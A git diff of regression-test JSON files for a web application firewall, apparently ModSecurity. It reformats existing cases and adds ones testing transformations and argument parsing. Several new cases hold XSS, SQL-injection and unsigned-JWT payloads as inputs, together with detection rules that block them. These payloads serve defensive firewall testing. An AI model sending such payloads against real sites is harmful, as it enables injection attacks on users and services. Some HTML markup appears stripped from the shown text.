da69a914e9..4174dae91b 100644 --- a/test/test-cases/regression/secruleengine.json +++ b/test/test-cases/regression/secruleengine.json @@ -1,13 +1,39 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (1/n)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (1/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "/", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": " Running action deny", - "http_code":403 + "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleEngine On", "SecDefaultAction \"phase:2,deny,status:404\"", @@ -15,14 +41,40 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (2/n)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (2/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": "Rule engine disabled, returning...", - "http_code":200 + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleEngine Off", "SecDefaultAction \"phase:2,deny,status:404\"", @@ -30,13 +82,39 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (3/n)", - "expected":{ - "http_code":200 + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (3/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] }, - "rules":[ + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200 + }, + "rules": [ "SecRuleEngine On", "SecRuleEngine DetectionOnly", "SecDefaultAction \"phase:2,deny,status:404\"", @@ -44,14 +122,40 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (4/n)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (4/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": "Rule engine disabled, returning...", - "http_code":200 + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleEngine Off", "SecDefaultAction \"phase:2,deny,status:404\"", @@ -59,14 +163,40 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Disruptive actions (5/n)", - "expected":{ + "enabled": 1, + "version_min": 300000, + "title": "Testing Disruptive actions (5/n)", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { "debug_log": "Rule engine disabled, returning...", - "http_code":200 + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleEngine Off", "SecDefaultAction \"phase:2,deny,status:404\"", diff --git a/test/test-cases/regression/transformation-none.json b/test/test-cases/regression/transformation-none.json index e12d545147..81a94d2865 100644 --- a/test/test-cases/regression/transformation-none.json +++ b/test/test-cases/regression/transformation-none.json @@ -15,8 +15,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -24,33 +24,35 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "Target value: \"rAAAAAAA2t5uvjq435r4q7ib3vtdjq120\" \\(Variable: REQUEST_COOKIES:PHPSESSID\\)", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", @@ -73,8 +75,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -82,33 +84,35 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "raaaaaaa2t5uvjq435r4q7ib3vtdjq120", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", diff --git a/test/test-cases/regression/transformations.json b/test/test-cases/regression/transformations.json index dcb328f16c..e38e220683 100644 --- a/test/test-cases/regression/transformations.json +++ b/test/test-cases/regression/transformations.json @@ -15,8 +15,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -24,40 +24,42 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": " t:trim: \"test\"", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains test \" \"id:1,pass,t:trim\"" ] }, - { + { "enabled": 1, "version_min": 300000, "version_max": 0, @@ -73,8 +75,8 @@ "request": { "headers": { "Host": "net.tutsplus.com", - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -82,37 +84,310 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= WHEE ¶m2=test2", + "uri": "/test.pl?param1= WHEE ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "lowercase: \"test", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains test \" \"id:1,pass,t:trim,t:lowercase\"" ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing transformations :: deny,t:trim,t:lowercase,t:htmlEntityDecode :: percent-encoded ampersand in a named entity must not be split by argument parsing", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "net.tutsplus.com", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Connection": "keep-alive", + "Content-Length": "0" + }, + "uri": "/test.pl?q=javascript%26colon;execute_my_code();", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Type": "text/html; charset=utf-8", + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "t:htmlEntityDecode: \"javascript:execute_my_code\\(\\);\"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@contains javascript:exec\" \"id:1,phase:2,deny,t:trim,t:lowercase,t:htmlEntityDecode\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing transformations :: deny,t:trim,t:lowercase,t:htmlEntityDecode :: named entity in a JSON body value must not be split like a query-string argument", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "net.tutsplus.com", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Connection": "keep-alive", + "Content-Length": "0", + "Content-Type": "application/json" + }, + "uri": "/", + "method": "POST", + "http_version": 1.1, + "body": [ + "{\"q\":\"javascript:execute_my_code();\"}" + ] + }, + "response": { + "headers": { + "Content-Type": "text/html; charset=utf-8", + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "t:htmlEntityDecode: \"javascript:execute_my_code\\(\\);\"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_HEADERS:Content-Type \"^application/json\" \"id:'200001',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule ARGS \"@contains javascript:exec\" \"id:1,phase:2,deny,t:trim,t:lowercase,t:htmlEntityDecode\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing transformations :: none,utf8toUnicode,urlDecodeUni,htmlEntityDecode,jsDecode,cssDecode,removeNulls", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" + }, + "uri": "/?var=%ef%bc%9cscript%20%ef%bc%9ealert%281%29%ef%bc%9c/script%ef%bc%9e", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@rx (?i)]*>[\\s\\S]*?\" \"id:941110,phase:2,deny,capture,t:none,t:utf8toUnicode,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDecode,t:removeNulls\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing transformations :: removeComments - C, SQL style", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*", + "Content-Type": "application/json" + }, + "uri": "/index.php", + "method": "POST", + "body": [ + "{\"q\":\"UNION/**//**/SELECT\"}" + ] + }, + "expected": { + "debug_log": "T \\(0\\) t:removeComments: \"UNIONSELECT\"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule ARGS \"@rx UNIONSELECT\" \"id:100,phase:2,t:none,t:removeComments,log,deny,status:403,msg:'Invalid input'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Testing transformations :: removeComments - HTML style", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "Accept": "*/*", + "Content-Type": "application/json" + }, + "uri": "/index.php", + "method": "POST", + "body": [ + "{\"q\":\"foobar\"}" + ] + }, + "expected": { + "debug_log": "T \\(0\\) t:removeComments: \"foobar\"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_HEADERS:Content-Type \"application/json\" \"id:'200001',phase:1,t:none,pass,nolog,ctl:requestBodyProcessor=JSON\"", + "SecRule ARGS \"@rx foobar\" \"id:100,phase:2,t:none,t:removeComments,log,deny,status:403,msg:'Invalid input'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing transformations :: base64DecodeExt", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "www.modsecurity.org", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Authorization": "Bearer eyJwIjoieHh-IiwiYWxnIjoibm9uZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0In0.", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" + }, + "uri": "/", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "T \\(0\\) t:base64DecodeExt: \"\\{\"p\":\"xx~\",\"alg\":\"none\",\"typ\":\"JWT\"\\}\"", + "http_code": 403 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_HEADERS:Authorization \"@rx (?i)^Bearer[\\s\\x0b]+(eyJ[\\-0-9_a-z]+)\\.\" \"id:100,phase:1,capture,deny,t:none,chain\"", + "SecRule TX:1 \"@rx (?i)alg[^0-9A-Z_a-z]*:[^0-9A-Z_a-z]*none\" \"t:base64DecodeExt\"" + ] } ] diff --git a/test/test-cases/regression/variable-ARGS.json b/test/test-cases/regression/variable-ARGS.json index 1149a2f579..54fefd54a8 100644 --- a/test/test-cases/regression/variable-ARGS.json +++ b/test/test-cases/regression/variable-ARGS.json @@ -1,301 +1,322 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS - GET (1/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS - GET (1/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"other_value\"" + "expected": { + "debug_log": "Target value: \"other_value\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains test \" \"id:1,pass,t:trim\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS - GET (2/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS - GET (2/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value\"" + "expected": { + "debug_log": "Target value: \"value\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains test \" \"id:1,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS - POST (3/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS - POST (3/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value1\"" + "expected": { + "debug_log": "Target value: \"value1\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS - POST (4/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS - POST (4/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value2\"" + "expected": { + "debug_log": "Target value: \"value2\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS - POST (5/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS - POST (5/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "38", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1=morevalue1¶m2=value2" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value1=morevalue1\"" + "expected": { + "debug_log": "Target value: \"value1=morevalue1\"", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS - POST (6/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS - POST (6/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "46", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1=morevalue1¶m2=value2¶m3=" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"\" \\(Variable: ARGS:param3\\)" + "expected": { + "debug_log": "Target value: \"\" \\(Variable: ARGS:param3\\)", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule ARGS:param3 \"@contains test \" \"id:1,phase:3,pass,t:trim\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing Variables :: ARGS - POST (7/7)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables :: ARGS - POST (7/7)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "43", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/", - "method":"POST", + "uri": "/", + "method": "POST", "body": [ "param1=value1=morevalue1¶m2=value2&&&&&" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \"value2\" \\(Variable: 